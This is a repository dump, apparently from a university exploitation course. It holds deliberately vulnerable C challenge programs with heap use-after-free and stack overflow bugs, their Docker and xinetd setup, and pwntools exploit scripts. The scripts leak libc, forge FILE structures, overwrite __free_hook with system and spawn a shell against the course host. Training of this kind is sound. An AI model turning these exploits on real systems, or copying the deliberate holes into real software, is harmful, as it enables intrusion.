    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nstruct Note\n{\n    unsigned short size;\n    char *data;\n};\n\nstruct Note *notes[0x10];\n\nstatic unsigned short get_idx()\n{\n    unsigned short idx;\n\n    printf(\"index\\n> \");\n    scanf(\"%hu\", &idx);\n\n    if (idx >= 0x10)\n        printf(\"no, no ...\\n\"), exit(1);\n    \n    return idx;\n}\n\nstatic unsigned short get_size()\n{\n    unsigned short size;\n\n    printf(\"size\\n> \");\n    scanf(\"%hu\", &size);\n    \n    if (size > 0x78)\n        printf(\"no, no ...\\n\"), exit(1);\n    \n    return size;\n}\n\nvoid add_note()\n{\n    unsigned short idx;\n\n    idx = get_idx();\n    if (notes[idx])\n        printf(\"no, no ...\\n\"), exit(1);\n\n    notes[idx] = malloc(sizeof(*notes[idx]));\n    printf(\"success!\\n\");\n}\n\nvoid edit_data()\n{\n    unsigned short idx;\n    unsigned short size;\n\n    idx = get_idx();\n    if (!notes[idx])\n        printf(\"no, no ...\\n\"), exit(1);\n    \n    size = get_size();\n    if (!notes[idx]->data) {\n        notes[idx]->data = malloc(size);\n        notes[idx]->size = size;\n    }\n        \n    if (size > notes[idx]->size)\n        printf(\"no, no ...\\n\"), exit(1);\n    \n    read(0, notes[idx]->data, size);\n    printf(\"success!\\n\");\n}\n\nvoid del_note()\n{\n    short int idx;\n\n    idx = get_idx();\n    free(notes[idx]->data);\n    free(notes[idx]);\n\n    notes[idx] = NULL;\n    printf(\"success!\\n\");\n}\n\nvoid show_notes()\n{\n    for (int i = 0; i < 0x10; i++) {\n        if (notes[i] == NULL || notes[i]->data == NULL)\n            continue;\n        \n        printf(\"[%d] %s\\n\", i, notes[i]->data);\n    }\n}\n\nint main()\n{\n    char opt[2];\n\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    while (1)\n    {\n        printf(\"1. add_note\\n\"\n               \"2. edit_data\\n\"\n               \"3. del_note\\n\"\n               \"4. show_notes\\n\"\n               \"5. bye\\n\"\n               \"> \");\n        read(0, opt, 2);\n\n        switch (opt[0]) {\n        case '1': add_note(); break;\n        case '2': edit_data(); break;\n        case '3': del_note(); break;\n        case '4': show_notes(); break;\n        case '5': exit(0);\n        }\n    }\n    \n    return 0;\n}"
  },
  {
    "path": "2022/quals/superums/xinetd",
    "content": "service chal\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/chal/run.sh\n    user = chal\n    port = 10001\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2022/week1/hw/how2know/Dockerfile",
    "content": "FROM ubuntu:22.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m chal\nRUN chown -R root:root /home/chal\nRUN chmod -R 755 /home/chal\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2022/week1/hw/how2know/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  chal:\n    build: ./\n    volumes:\n      - ./share:/home/chal:ro\n      - ./xinetd:/etc/xinetd.d/chal:ro\n    ports:\n      - \"10002:10001\""
  },
  {
    "path": "2022/week1/hw/how2know/share/Makefile",
    "content": "all:\n\tgcc -o chal how2know.c -lseccomp"
  },
  {
    "path": "2022/week1/hw/how2know/share/flag",
    "content": "FLAG{test}\n"
  },
  {
    "path": "2022/week1/hw/how2know/share/how2know.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <seccomp.h>\n#include <sys/mman.h>\n#include <stdlib.h>\n\nstatic char flag[0x30];\n\nint main()\n{\n    void *addr;\n    int fd;\n    scmp_filter_ctx ctx;\n\n    addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n    if ((unsigned long)addr == -1)\n        perror(\"mmap\"), exit(1);\n    \n    fd = open(\"/home/chal/flag\", O_RDONLY);\n    if (fd == -1)\n        perror(\"open\"), exit(1);\n    read(fd, flag, 0x30);\n    close(fd);\n\n    write(1, \"talk is cheap, show me the code\\n\", 33);\n    read(0, addr, 0x1000);\n\n    ctx = seccomp_init(SCMP_ACT_KILL);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);\n    seccomp_load(ctx);\n    seccomp_release(ctx);\n\n    ((void(*)())addr)();\n\n    return 0;\n}\n"
  },
  {
    "path": "2022/week1/hw/how2know/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/chal/chal"
  },
  {
    "path": "2022/week1/hw/how2know/xinetd",
    "content": "service chal\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/chal/run.sh\n    user = chal\n    port = 10001\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2022/week1/hw/rop++/Dockerfile",
    "content": "FROM ubuntu:22.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m chal\nRUN chown -R root:root /home/chal\nRUN chmod -R 755 /home/chal\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2022/week1/hw/rop++/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  chal:\n    build: ./\n    volumes:\n      - ./share:/home/chal:ro\n      - ./xinetd:/etc/xinetd.d/chal:ro\n    ports:\n      - \"10003:10001\""
  },
  {
    "path": "2022/week1/hw/rop++/share/Makefile",
    "content": "all:\n\tgcc -fno-stack-protector -static -o chal rop++.c\n"
  },
  {
    "path": "2022/week1/hw/rop++/share/flag",
    "content": "FLAG{test}\n"
  },
  {
    "path": "2022/week1/hw/rop++/share/rop++.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <string.h>\n\nint main()\n{\n    char buf[0x10];\n    const char *msg = \"show me rop\\n> \";\n\n    write(1, msg, strlen(msg));\n    read(0, buf, 0x200);\n    \n    return 0;\n}"
  },
  {
    "path": "2022/week1/hw/rop++/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/chal/chal"
  },
  {
    "path": "2022/week1/hw/rop++/xinetd",
    "content": "service chal\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/chal/run.sh\n    user = chal\n    port = 10001\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2022/week2/exp/exp.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('./test', aslr=False)\nr =remote('edu-ctf.zoolab.org', 10007)\n\ndef add(idx, name):\n    r.sendlineafter('> ', '1')\n    r.sendlineafter('> ', str(idx))\n    r.sendafter('> ', name)\n\ndef edit(idx, sz, data):\n    r.sendlineafter('> ', '2')\n    r.sendlineafter('> ', str(idx))\n    r.sendlineafter('> ', str(sz))\n    r.send(data)\n\ndef delete(idx):\n    r.sendlineafter('> ', '3')\n    r.sendlineafter('> ', str(idx))\n\ndef show():\n    r.sendlineafter('> ', '4')\n\n#####################################\nadd(0, 'A'*8)\nedit(0, 0x418, 'A')\n\nadd(1, 'B'*8)\nedit(1, 0x18, 'B')\n\nadd(2, 'C'*8)\n\ndelete(0)\nshow()\n\nr.recvuntil('data: ')\nlibc = u64(r.recv(6).ljust(8, b'\\x00')) - 0x1ecbe0\nfree_hook = libc + 0x1eee48\nsystem = libc + 0x52290\ninfo(f\"libc: {hex(libc)}\")\n\n#####################################\nfake_chunk = flat(\n    0,           0x21,\n    b'CCCCCCCC', b'CCCCCCCC',\n    free_hook,\n)\n\ndata = b'/bin/sh\\x00'.ljust(0x10, b'B')\nedit(1, 0x38, data + fake_chunk)\nedit(2, 0x8, p64(system))\n\ndelete(1)\n\nr.interactive()\n"
  },
  {
    "path": "2022/week2/hw/babyums/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m chal\nRUN chown -R root:root /home/chal\nRUN chmod -R 755 /home/chal\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2022/week2/hw/babyums/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  chal:\n    build: ./\n    volumes:\n      - ./share:/home/chal:ro\n      - ./xinetd:/etc/xinetd.d/chal:ro\n    ports:\n      - \"10008:10001\""
  },
  {
    "path": "2022/week2/hw/babyums/share/Makefile",
    "content": "all:\n\tgcc -o chal babyums.c"
  },
  {
    "path": "2022/week2/hw/babyums/share/babyums.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#define FLAG1 \"flag{XXXXXXXX}\"\n\nstruct User\n{\n    char name[0x10];\n    char password[0x10];\n    void *data;\n};\n\nstruct User *users[8];\n\nstatic short int get_idx()\n{\n    short int idx;\n\n    printf(\"index\\n> \");\n    scanf(\"%hu\", &idx);\n\n    if (idx >= 8)\n        printf(\"no, no ...\"), exit(1);\n    \n    return idx;\n}\n\nstatic short int get_size()\n{\n    short int size;\n\n    printf(\"size\\n> \");\n    scanf(\"%hu\", &size);\n\n    if (size >= 0x500)\n        printf(\"no, no ...\"), exit(1);\n    \n    return size;\n}\n\nvoid add_user()\n{\n    short int idx;\n\n    idx = get_idx();\n    users[idx] = malloc(sizeof(*users[idx]));\n\n    printf(\"username\\n> \");\n    read(0, users[idx]->name, 0x10);\n\n    printf(\"password\\n> \");\n    read(0, users[idx]->password, 0x10);\n\n    users[idx]->data = NULL;\n    printf(\"success!\\n\");\n}\n\nvoid edit_data()\n{\n    short int idx;\n    short int size;\n\n    idx = get_idx();\n    size = get_size();\n\n    if (users[idx]->data == NULL)\n        users[idx]->data = malloc(size);\n    \n    read(0, users[idx]->data, size);\n    printf(\"success!\\n\");\n}\n\nvoid del_user()\n{\n    short int idx;\n\n    idx = get_idx();\n    free(users[idx]->data);\n    free(users[idx]);\n    printf(\"success!\\n\");\n}\n\nvoid show_users()\n{\n    for (int i = 0; i < 8; i++) {\n        if (users[i] == NULL || users[i]->data == NULL)\n            continue;\n        \n        printf(\"[%d] %s\\ndata: %s\\n\", i, users[i]->name, (char *)users[i]->data);\n    }\n}\n\nvoid add_admin()\n{\n    users[0] = malloc(sizeof(*users[0]));\n    strcpy(users[0]->name, \"admin\");\n    strcpy(users[0]->password, FLAG1);\n    users[0]->data = NULL;\n}\n\nint main()\n{\n    char opt[2];\n    int power = 20;\n\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    printf(\"**** User Management System ****\\n\");\n    add_admin();\n\n    while (power)\n    {\n        power--;\n        printf(\"1. add_user\\n\"\n               \"2. edit_data\\n\"\n               \"3. del_user\\n\"\n               \"4. show_users\\n\"\n               \"5. bye\\n\"\n               \"> \");\n        read(0, opt, 2);\n\n        switch (opt[0]) {\n        case '1': add_user(); break;\n        case '2': edit_data(); break;\n        case '3': del_user(); break;\n        case '4': show_users(); break;\n        case '5': exit(0);\n        }\n    }\n    printf(\"No... no power..., b..ye...\\n\");\n    \n    return 0;\n}"
  },
  {
    "path": "2022/week2/hw/babyums/share/flag",
    "content": "FLAG{test}\n"
  },
  {
    "path": "2022/week2/hw/babyums/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/chal/chal"
  },
  {
    "path": "2022/week2/hw/babyums/xinetd",
    "content": "service chal\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/chal/run.sh\n    user = chal\n    port = 10001\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2022/week2/hw/exp/babyums.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('./test', aslr=False)\nr =remote('edu-ctf.zoolab.org', 10007)\n\ndef add(idx, name):\n    r.sendlineafter('> ', '1')\n    r.sendlineafter('> ', str(idx))\n    r.sendafter('> ', name)\n\ndef edit(idx, sz, data):\n    r.sendlineafter('> ', '2')\n    r.sendlineafter('> ', str(idx))\n    r.sendlineafter('> ', str(sz))\n    r.send(data)\n\ndef delete(idx):\n    r.sendlineafter('> ', '3')\n    r.sendlineafter('> ', str(idx))\n\ndef show():\n    r.sendlineafter('> ', '4')\n\n#####################################\nadd(0, 'A'*8)\nedit(0, 0x418, 'A')\n\nadd(1, 'B'*8)\nedit(1, 0x18, 'B')\n\nadd(2, 'C'*8)\n\ndelete(0)\nshow()\n\nr.recvuntil('data: ')\nlibc = u64(r.recv(6).ljust(8, b'\\x00')) - 0x1ecbe0\nfree_hook = libc + 0x1eee48\nsystem = libc + 0x52290\ninfo(f\"libc: {hex(libc)}\")\n\n#####################################\nfake_chunk = flat(\n    0,           0x21,\n    b'CCCCCCCC', b'CCCCCCCC',\n    free_hook,\n)\n\ndata = b'/bin/sh\\x00'.ljust(0x10, b'B')\nedit(1, 0x38, data + fake_chunk)\nedit(2, 0x8, p64(system))\n\ndelete(1)\n\nr.interactive()"
  },
  {
    "path": "2022/week2/lab/babynote/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m chal\nRUN chown -R root:root /home/chal\nRUN chmod -R 755 /home/chal\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2022/week2/lab/babynote/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  chal:\n    build: ./\n    volumes:\n      - ./share:/home/chal:ro\n      - ./xinetd:/etc/xinetd.d/chal:ro\n    ports:\n      - \"10007:10001\""
  },
  {
    "path": "2022/week2/lab/babynote/share/Makefile",
    "content": "all:\n\tgcc -o chal babynote.c"
  },
  {
    "path": "2022/week2/lab/babynote/share/babynote.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nstruct Note\n{\n    char name[0x10];\n    void *data;\n};\n\nstruct Note *notes[0x10];\n\nstatic short int get_idx()\n{\n    short int idx;\n\n    printf(\"index\\n> \");\n    scanf(\"%hu\", &idx);\n\n    if (idx >= 0x10)\n        printf(\"no, no ...\\n\"), exit(1);\n    \n    return idx;\n}\n\nstatic short int get_size()\n{\n    short int size;\n\n    printf(\"size\\n> \");\n    scanf(\"%hu\", &size);\n    \n    return size;\n}\n\nvoid add_note()\n{\n    short int idx;\n\n    idx = get_idx();\n    notes[idx] = malloc(sizeof(*notes[idx]));\n\n    printf(\"note name\\n> \");\n    read(0, notes[idx]->name, 0x10);\n\n    notes[idx]->data = NULL;\n    printf(\"success!\\n\");\n}\n\nvoid edit_data()\n{\n    short int idx;\n    short int size;\n\n    idx = get_idx();\n    size = get_size();\n\n    if (notes[idx]->data == NULL)\n        notes[idx]->data = malloc(size);\n    \n    read(0, notes[idx]->data, size);\n    printf(\"success!\\n\");\n}\n\nvoid del_note()\n{\n    short int idx;\n\n    idx = get_idx();\n    free(notes[idx]->data);\n    free(notes[idx]);\n    printf(\"success!\\n\");\n}\n\nvoid show_notes()\n{\n    for (int i = 0; i < 0x10; i++) {\n        if (notes[i] == NULL || notes[i]->data == NULL)\n            continue;\n        \n        printf(\"[%d] %s\\ndata: %s\\n\", i, notes[i]->name, (char *)notes[i]->data);\n    }\n}\n\nint main()\n{\n    char opt[2];\n\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    while (1)\n    {\n        printf(\"1. add_note\\n\"\n               \"2. edit_data\\n\"\n               \"3. del_note\\n\"\n               \"4. show_notes\\n\"\n               \"5. bye\\n\"\n               \"> \");\n        read(0, opt, 2);\n\n        switch (opt[0]) {\n        case '1': add_note(); break;\n        case '2': edit_data(); break;\n        case '3': del_note(); break;\n        case '4': show_notes(); break;\n        case '5': exit(0);\n        }\n    }\n    \n    return 0;\n}"
  },
  {
    "path": "2022/week2/lab/babynote/share/flag",
    "content": "FLAG{test}\n"
  },
  {
    "path": "2022/week2/lab/babynote/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/chal/chal"
  },
  {
    "path": "2022/week2/lab/babynote/xinetd",
    "content": "service chal\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/chal/run.sh\n    user = chal\n    port = 10001\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2022/week3/demo/Makefile",
    "content": "all:\n\tgcc -g -o fclose_trace fclose_trace.c\n\tgcc -g -o fopen_trace fopen_trace.c\n\tgcc -g -o fwrite_trace fwrite_trace.c\n\tgcc -g -o fread_trace fread_trace.c\n\tgcc -g -o rce rce.c\n"
  },
  {
    "path": "2022/week3/demo/fclose_trace.c",
    "content": "#include <stdio.h>\n#include <fcntl.h>\n\nint main()\n{\n    FILE *fp;\n    fp = fopen(\"/tmp/meow\", \"r\");\n    fclose(fp);\n\n    return 0;\n}\n"
  },
  {
    "path": "2022/week3/demo/fopen_trace.c",
    "content": "#include <stdio.h>\n#include <fcntl.h>\n\nint main()\n{\n    FILE *fp;\n    fp = fopen(\"/tmp/meow\", \"r\");\n    fclose(fp);\n\n    return 0;\n}\n"
  },
  {
    "path": "2022/week3/demo/fread_trace.c",
    "content": "#include <stdio.h>\n#include <fcntl.h>\n\nint main()\n{\n    FILE *fp;\n    char buf[0x10];\n\n    fp = fopen(\"/tmp/meow\", \"r\");\n    fread(buf, 0x1, 0x10, fp);\n    fclose(fp);\n\n    return 0;\n}\n"
  },
  {
    "path": "2022/week3/demo/fwrite_trace.c",
    "content": "#include <stdio.h>\n#include <fcntl.h>\n\nint main()\n{\n    FILE *fp;\n    char buf[0x10] = \"TEST!!\";\n\n    fp = fopen(\"/tmp/meow\", \"w\");\n    fwrite(buf, 0x1, 0x10, fp);\n    fclose(fp);\n\n    return 0;\n}\n"
  },
  {
    "path": "2022/week3/demo/rce.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <fcntl.h>\n\nint main()\n{\n    FILE *fp;\n    char *buf;\n    unsigned long addr;\n\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    buf = malloc(0x10);\n    fp = fopen(\"/tmp/meow\", \"r\");\n\n    printf(\"GIFT: %p\\n\", system);\n    printf(\"addr: \");\n    scanf(\"%ld\", &addr);\n    printf(\"value: \");\n    read(0, (void *)addr, 0x100);\n\n    read(0, buf, 0x1000);\n    fwrite(buf, 0x1, 1, fp);\n    return 0;\n}\n"
  },
  {
    "path": "2022/week3/demo/rce.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\n\"\"\"\nstruct _IO_jump_t\n{\n    JUMP_FIELD(size_t, __dummy);\n    JUMP_FIELD(size_t, __dummy2);\n    JUMP_FIELD(_IO_finish_t, __finish);\n    JUMP_FIELD(_IO_overflow_t, __overflow);\n    JUMP_FIELD(_IO_underflow_t, __underflow);\n    JUMP_FIELD(_IO_underflow_t, __uflow);\n    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);\n    /* showmany */\n    JUMP_FIELD(_IO_xsputn_t, __xsputn);\n    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);\n    JUMP_FIELD(_IO_seekoff_t, __seekoff);\n    JUMP_FIELD(_IO_seekpos_t, __seekpos);\n    JUMP_FIELD(_IO_setbuf_t, __setbuf);\n    JUMP_FIELD(_IO_sync_t, __sync);\n    JUMP_FIELD(_IO_doallocate_t, __doallocate);\n    JUMP_FIELD(_IO_read_t, __read);\n    JUMP_FIELD(_IO_write_t, __write);\n    JUMP_FIELD(_IO_seek_t, __seek);\n    JUMP_FIELD(_IO_close_t, __close);\n    JUMP_FIELD(_IO_stat_t, __stat);\n    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);\n    JUMP_FIELD(_IO_imbue_t, __imbue);\n};\n\"\"\"\ndef rce():\n    padding = p64(0) * 3 + p64(0x1e1)\n    return padding + b'sh\\x00'\n\nr = process('./rce', env={\"LD_PRELOAD\": \"/usr/src/glibc/glibc_dbg/libc.so\"}, aslr=False)\npayload = rce()\nr.recvuntil('GIFT: ')\n\nsystem = int(r.recvline()[:-1], 16)\nlibc = system - 0x48850\n_IO_file_jumps = libc + 0x1be4a0\n\nfake_vtable = p64(system) * 0x10\nr.sendlineafter('addr: ', str(_IO_file_jumps))\nr.sendafter('value: ', fake_vtable)\nsleep(1)\npayload = rce()\n\ngdb.attach(r)\nr.send(payload)\nr.interactive()\n"
  },
  {
    "path": "2022/week3/demo/script",
    "content": "set exec-wrapper env LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so\nstart\n"
  },
  {
    "path": "2022/week3/exp/lab_aar_exp.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nfrom sys import argv\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\naar_flag_addr = 0x404050\nlock_addr = 0x4040a0\n\npadding = p64(0) * 3 + p64(0x1e1)\n\n# 從任意記憶體讀資料，印到 stdout\ndef aar():\n    f = FileStructure(0)\n    f.flags = 0xfbad0800\n\n    f._IO_read_end = aar_flag_addr\n\n    f._IO_write_base = aar_flag_addr\n    f._IO_write_ptr = aar_flag_addr + 0x10\n    f._IO_write_end = 0\n    f._lock = lock_addr\n    f.fileno = 1\n    return padding + bytes(f)[:-8]\n\n#r = process('./aar', env={\"LD_PRELOAD\": \"/usr/src/glibc/glibc_dbg/libc.so\"}, aslr=False)\nr = remote('edu-ctf.zoolab.org', 10010)\npayload = aar()\n\n# gdb.attach(r)\nr.send(payload)\nr.interactive()\n"
  },
  {
    "path": "2022/week3/exp/lab_aaw_exp.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nfrom sys import argv\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\naaw_owo_addr = 0x404070\nlock_addr = 0x4040a0\n\npadding = p64(0) * 3 + p64(0x1e1)\n\n# 從 stdin 讀資料，寫到指定記憶體位址\ndef aaw():\n    f = FileStructure(0)\n    f.flags = 0xfbad0000\n\n    f._IO_buf_base = aaw_owo_addr\n    f._IO_buf_end = aaw_owo_addr + 0x4\n    f._IO_write_base = aaw_owo_addr\n\n    f._IO_read_ptr = 0\n    f._IO_read_end = 0\n    f._lock = lock_addr\n    f.fileno = 0\n    return padding + bytes(f)[:-8]\n\n# r = process('./aaw', env={\"LD_PRELOAD\": \"/usr/src/glibc/glibc_dbg/libc.so\"}, aslr=False)\nr = remote('edu-ctf.zoolab.org', 10009)\npayload = aaw()\n\n# gdb.attach(r)\nr.send(payload)\nsleep(1)\n#r.sendline(b'A'*8)\nr.interactive()\n"
  },
  {
    "path": "2022/week3/exp/miniums.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\n# r = process('./chal', aslr=False)\nr = remote('edu-ctf.zoolab.org', 10011)\n# r = process('./chal', env={\"LD_PRELOAD\": \"/usr/src/glibc/glibc_dbg/libc.so\"}, aslr=False)\n\n\"\"\"\nflags: 0x0\n_IO_read_ptr: 0x0\n_IO_read_end: 0x0\n_IO_read_base: 0x0\n\n_IO_write_base: 0x0\n_IO_write_ptr: 0x0\n_IO_write_end: 0x0\n\n_IO_buf_base: 0x0\n_IO_buf_end: 0x0\n\n_IO_save_base: 0x0\n_IO_backup_base: 0x0\n_IO_save_end: 0x0\n\nmarkers: 0x0\nchain: 0x0\n\n\nfileno: 0x0\n_flags2: 0x0\n_old_offset: 0xffffffffffffffff\n_cur_column: 0x0\n_vtable_offset: 0x0\n_shortbuf: 0x0\nunknown1: 0x0\n_lock: 0xdeadbeef\n_offset: 0xffffffffffffffff\n_codecvt: 0x0\n_wide_data: 0xdeadbeef\nunknown2: 0x0\nvtable: 0x0\n\"\"\"\nusers_addr = 0x4040c0\n\ndef add(idx, name):\n    r.sendlineafter('> ', '1')\n    r.sendlineafter('> ', str(idx))\n    r.sendafter('> ', name)\n\ndef edit(idx, sz, data):\n    r.sendlineafter('> ', '2')\n    r.sendlineafter('> ', str(idx))\n    r.sendlineafter('> ', str(sz))\n    r.send(data)\n\ndef delete(idx):\n    r.sendlineafter('> ', '3')\n    r.sendlineafter('> ', str(idx))\n\ndef show():\n    r.sendlineafter('> ', '4')\n\nfake_FILE = flat(\n    0xfbad0800, # flags\n    0, 1, 0, # _IO_read\n    1, 1, 0, # _IO_write\n    0, 0, # _IO_buf_*\n    0, 0, 0, # _IO_ other\n    0, 0, # markers, chain\n    1, # fileno\n)\n\nadd(0, \"A\")\nedit(0, 0x100, b\"AAAA\")\ndelete(0)\nedit(0, 0x1d8, fake_FILE)\n\nr.recv(0x88)\nheap = u64(r.recv(8)) - 0x3b0\nr.recv(0x48)\nlibc = u64(r.recv(8)) - 0x1e94a0\nsystem = libc + 0x52290\n__free_hook = libc + 0x1eee48\n\ninfo(f\"libc: {hex(libc)}\")\ninfo(f\"heap: {hex(heap)}\")\n\nfake_FILE2 = flat(\n    0xfbad0008, # flags\n    0, 0, 0, # _IO_read\n    __free_hook, 0, 0, # _IO_write\n    __free_hook, __free_hook + 0x208, # _IO_buf_*\n    0, 0, 0, # _IO_ other\n    0, 0, # markers, chain\n    0, # fileno\n)\n\nadd(1, \"/bin/sh\\x00\")\n\nadd(2, \"B\")\nedit(2, 0x100, b\"BBBB\")\ndelete(2)\nedit(2, 0x1d8, fake_FILE2)\nshow()\nr.send(p64(system).ljust(512, b'\\x00') + b'\\n')\ndelete(1)\nr.interactive()\n"
  },
  {
    "path": "2022/week3/hw/miniums/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m chal\nRUN chown -R root:root /home/chal\nRUN chmod -R 755 /home/chal\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2022/week3/hw/miniums/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  chal:\n    build: ./\n    volumes:\n      - ./share:/home/chal:ro\n      - ./xinetd:/etc/xinetd.d/chal:ro\n    ports:\n      - \"10011:10001\""
  },
  {
    "path": "2022/week3/hw/miniums/share/Makefile",
    "content": "all:\n\tgcc -o chal miniums.c\n"
  },
  {
    "path": "2022/week3/hw/miniums/share/flag",
    "content": "FLAG{test}\n"
  },
  {
    "path": "2022/week3/hw/miniums/share/miniums.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <fcntl.h>\n\nstruct User\n{\n    char name[0x10];\n    int size;\n    FILE *data;\n};\n\nstruct User *users[8];\n\nstatic short int get_idx()\n{\n    short int idx;\n\n    printf(\"index\\n> \");\n    scanf(\"%hu\", &idx);\n\n    if (idx >= 8)\n        printf(\"no, no ...\"), exit(1);\n    \n    return idx;\n}\n\nstatic short int get_size()\n{\n    short int size;\n\n    printf(\"size\\n> \");\n    scanf(\"%hu\", &size);\n\n    if (size >= 0x200)\n        printf(\"no, no ...\"), exit(1);\n    \n    return size;\n}\n\nvoid add_user()\n{\n    short int idx;\n\n    idx = get_idx();\n    users[idx] = malloc(sizeof(*users[idx]));\n\n    printf(\"username\\n> \");\n    read(0, users[idx]->name, 0x10);\n\n    users[idx]->data = NULL;\n    printf(\"success!\\n\");\n}\n\nvoid edit_data()\n{\n    short int idx;\n    short int size;\n    char *buf;\n\n    idx = get_idx();\n    size = get_size();\n\n    if (users[idx]->data == NULL)\n        users[idx]->data = tmpfile();\n    \n    buf = malloc(size);\n    read(0, buf, size);\n    \n    fwrite(buf, size, 1, users[idx]->data);\n    printf(\"success!\\n\");\n}\n\nvoid del_user()\n{\n    short int idx;\n\n    idx = get_idx();\n    if (users[idx]->data != NULL)\n        fclose(users[idx]->data);\n    \n    free(users[idx]);\n    printf(\"success!\\n\");\n}\n\nvoid show_users()\n{\n    char buf[0x200] = {};\n\n    for (int i = 0; i < 8; i++) {\n        if (users[i] == NULL || users[i]->data == NULL)\n            continue;\n        \n        printf(\"[%d] %s\\ndata: \", i, users[i]->name);\n        fseek(users[i]->data, 0, SEEK_SET);\n        fread(buf, sizeof(buf), 1, users[i]->data);\n        printf(\"%s\\n\", buf);\n    }\n}\n\nint main()\n{\n    char opt[2];\n    int power = 20;\n\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    printf(\"**** [Mini] User Management System ****\\n\");\n\n    while (power)\n    {\n        power--;\n        printf(\"1. add_user\\n\"\n               \"2. edit_data\\n\"\n               \"3. del_user\\n\"\n               \"4. show_users\\n\"\n               \"5. bye\\n\"\n               \"> \");\n        read(0, opt, 2);\n\n        switch (opt[0]) {\n        case '1': add_user(); break;\n        case '2': edit_data(); break;\n        case '3': del_user(); break;\n        case '4': show_users(); break;\n        case '5': exit(0);\n        }\n    }\n    printf(\"No... no power..., b..ye...\\n\");\n    \n  